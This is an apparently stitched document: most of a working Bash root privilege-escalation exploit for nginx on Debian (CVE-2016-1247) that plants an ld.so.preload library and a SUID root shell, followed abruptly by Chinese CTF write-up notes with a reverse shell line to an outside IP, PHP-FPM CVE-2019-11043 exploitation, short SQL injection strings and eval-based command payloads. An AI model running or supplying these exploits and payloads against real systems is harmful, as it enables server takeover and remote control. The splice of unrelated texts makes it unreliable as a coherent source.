# The restart should take place at 6:25am which is when cron.daily executes.
# Attackers can therefore get a root shell automatically in 24h at most without any admin
# interaction just by letting the exploit run till 6:25am assuming that daily logrotation
# has been configured.
#
#
# Exploit usage:
# ./nginxed-root.sh path_to_nginx_error.log
#
# To trigger logrotation for testing the exploit, you can run the following command:
#
# /usr/sbin/logrotate -vf /etc/logrotate.d/nginx
#
# See the full advisory for details at:
# https://legalhackers.com/advisories/Nginx-Exploit-Deb-Root-PrivEsc-CVE-2016-1247.html
#
# Video PoC:
# https://legalhackers.com/videos/Nginx-Exploit-Deb-Root-PrivEsc-CVE-2016-1247.html
#
#
# Disclaimer:
# For testing purposes only. Do no harm.
#
BACKDOORSH="/bin/bash"
BACKDOORPATH="/tmp/nginxrootsh"
PRIVESCLIB="/tmp/privesclib.so"
PRIVESCSRC="/tmp/privesclib.c"
SUIDBIN="/usr/bin/sudo"
function cleanexit {
# Cleanup
echo -e "\n[+] Cleaning up..."
rm -f $PRIVESCSRC
rm -f $PRIVESCLIB
rm -f $ERRORLOG
touch $ERRORLOG
if [ -f /etc/ld.so.preload ]; then
echo -n > /etc/ld.so.preload
fi
echo -e "\n[+] Job done. Exiting with code $1 \n"
exit $1
}
function ctrl_c() {
echo -e "\n[+] Ctrl+C pressed"
cleanexit 0
}
#intro
cat <<_eascii_
_______________________________
< Is your server (N)jinxed ? ;o >
-------------------------------
\
\ __---__
_- /--______
__--( / \ )XXXXXXXXXXX\v.
.-XXX( O O )XXXXXXXXXXXXXXX-
/XXX( U ) XXXXXXX\
/XXXXX( )--_ XXXXXXXXXXX\
/XXXXX/ ( O ) XXXXXX \XXXXX\
XXXXX/ / XXXXXX \__ \XXXXX
XXXXXX__/ XXXXXX \__---->
---___ XXX__/ XXXXXX \__ /
\- --__/ ___/\ XXXXXX / ___--/=
\-\ ___/ XXXXXX '--- XXXXXX
\-\/XXX\ XXXXXX /XXXXX
\XXXXXXXXX \ /XXXXX/
\XXXXXX > _/XXXXX/
\XXXXX--__/ __-- XXXX/
-XXXXXXXX--------------- XXXXXX-
\XXXXXXXXXXXXXXXXXXXXXXXXXX/
""VXXXXXXXXXXXXXXXXXXV""
_eascii_
echo -e "\033[94m \nNginx (Debian-based distros) - Root Privilege Escalation PoC Exploit (CVE-2016-1247) \nnginxed-root.sh (ver. 1.0)\n"
echo -e "Discovered and coded by: \n\nDawid Golunski \nhttps://legalhackers.com \033[0m"
# Args
if [ $# -lt 1 ]; then
echo -e "\n[!] Exploit usage: \n\n$0 path_to_error.log \n"
echo -e "It seems that this server uses: `ps aux | grep nginx | awk -F'log-error=' '{ print $2 }' | cut -d' ' -f1 | grep '/'`\n"
exit 3
fi
# Priv check
echo -e "\n[+] Starting the exploit as: \n\033[94m`id`\033[0m"
id | grep -q www-data
if [ $? -ne 0 ]; then
echo -e "\n[!] You need to execute the exploit as www-data user! Exiting.\n"
exit 3
fi
# Set target paths
ERRORLOG="$1"
if [ ! -f $ERRORLOG ]; then
echo -e "\n[!] The specified Nginx error log ($ERRORLOG) doesn't exist. Try again.\n"
exit 3
fi
# [ Exploitation ]
trap ctrl_c INT
# Compile privesc preload library
echo -e "\n[+] Compiling the privesc shared library ($PRIVESCSRC)"
cat <<_solibeof_>$PRIVESCSRC
#define _GNU_SOURCE
#include
#include
#include
#include
#include
#include
#include
uid_t geteuid(void) {
static uid_t (*old_geteuid)();
old_geteuid = dlsym(RTLD_NEXT, "geteuid");
if ( old_geteuid() == 0 ) {
chown("$BACKDOORPATH", 0, 0);
chmod("$BACKDOORPATH", 04777);
unlink("/etc/ld.so.preload");
}
return old_geteuid();
}
_solibeof_
/bin/bash -c "gcc -Wall -fPIC -shared -o $PRIVESCLIB $PRIVESCSRC -ldl"
if [ $? -ne 0 ]; then
echo -e "\n[!] Failed to compile the privesc lib $PRIVESCSRC."
cleanexit 2;
fi
# Prepare backdoor shell
cp $BACKDOORSH $BACKDOORPATH
echo -e "\n[+] Backdoor/low-priv shell installed at: \n`ls -l $BACKDOORPATH`"
# Safety check
if [ -f /etc/ld.so.preload ]; then
echo -e "\n[!] /etc/ld.so.preload already exists. Exiting for safety."
exit 2
fi
# Symlink the log file
rm -f $ERRORLOG && ln -s /etc/ld.so.preload $ERRORLOG
if [ $? -ne 0 ]; then
echo -e "\n[!] Couldn't remove the $ERRORLOG file or create a symlink."
cleanexit 3
fi
echo -e "\n[+] The server appears to be \033[94m(N)jinxed\033[0m (writable logdir) ! :) Symlink created at: \n`ls -l $ERRORLOG`"
# Make sure the nginx access.log contains at least 1 line for the logrotation to get triggered
curl http://localhost/ >/dev/null 2>/dev/null
# Wait for Nginx to re-open the logs/USR1 signal after the logrotation (if daily
# rotation is enable in logrotate config for nginx, this should happen within 24h at 6:25am)
echo -ne "\n[+] Waiting for Nginx service to be restarted (-USR1) by logrotate called from cron.daily at 6:25am..."
while :; do
sleep 1
if [ -f /etc/ld.so.preload ]; then
echo $PRIVESCLIB > /etc/ld.so.preload
rm -f $ERRORLOG
break;
fi
done
# /etc/ld.so.preload should be owned by www-data user at this point
# Inject the privesc.so shared library to escalate privileges
echo $PRIVESCLIB > /etc/ld.so.preload
echo -e "\n[+] Nginx restarted. The /etc/ld.so.preload file got created with web server privileges: \n`ls -l /etc/ld.so.preload`"
echo -e "\n[+] Adding $PRIVESCLIB shared lib to /etc/ld.so.preload"
echo -e "\n[+] The /etc/ld.so.preload file now contains: \n`cat /etc/ld.so.preload`"
chmod 755 /etc/ld.so.preload
# Escalating privileges via the SUID binary (e.g. /usr/bin/sudo)
echo -e "\n[+] Escalating privileges via the $SUIDBIN SUID binary to get root!"
sudo 2>/dev/null >/dev/null
# Check for the rootshell
ls -l $BACKDOORPATH
ls -l $BACKDOORPATH | grep rws | grep -q root
if [ $? -eq 0 ]; then
echo -e "\n[+] Rootshell got assigned root SUID perms at: \n`ls -l $BACKDOORPATH`"
echo -e "\n\033[94mThe server is (N)jinxed ! ;) Got root via Nginx!\033[0m"
else
echo -e "\n[!] Failed to get root"
cleanexit 2
fi
rm -f $ERRORLOG
echo > $ERRORLOG
# Use the rootshell to perform cleanup that requires root privilges
$BACKDOORPATH -p -c "rm -f /etc/ld.so.preload; rm -f $PRIVESCLIB"
# Reset the logging to error.log
$BACKDOORPATH -p -c "kill -USR1 `pidof -s nginx`"
# Execute the rootshell
echo -e "\n[+] Spawning the rootshell $BACKDOORPATH now! \n"
$BACKDOORPATH -p -i
# Job done.
cleanexit 0
bash -i >& /dev/tcp/47.101.145.94/6666 0>&1
貌似连不上外网,放弃了
参考:CTFSHOW内部赛 web03_出题人不想跟你说话.jpg
啥都没有,直接看wp发现为CVE-2019-11043
利用工具:PHuiP-FPizdaM
执行成功,那么即可得到flag
p神友情提示:您应该注意,只有部分PHP-FPM子进程受到了污染,因此请尝试几次以执行该命令。
参考:
PHP-FPM 远程代码执行漏洞(CVE-2019-11043)
PHP 远程代码执行漏洞复现(CVE-2019-11043)【反弹shell成功】
1:长度限制为5
2:存在过滤且过滤的字符会有回显
空异或0会查到所有非数字开头的记录
payload:
'^0# '^''# '<>1# '<1# '&0# '<<0# '>>0# '&''# '/9#
给出了源码:
($S = $_GET['S'])?eval("$$S"):highlight_file(__FILE__);
直接上payload:
?S=a;system('cat ../../flag.txt');
或者变量覆盖:
?S=a=system('cat ../../flag.txt');
签到都没做出来的five,我真的是太菜了
题目给了源码,可以调用phpinfo函数,我是笨比
error_reporting(0);
highlight_file(__FILE__);
call_user_func($_GET['f']);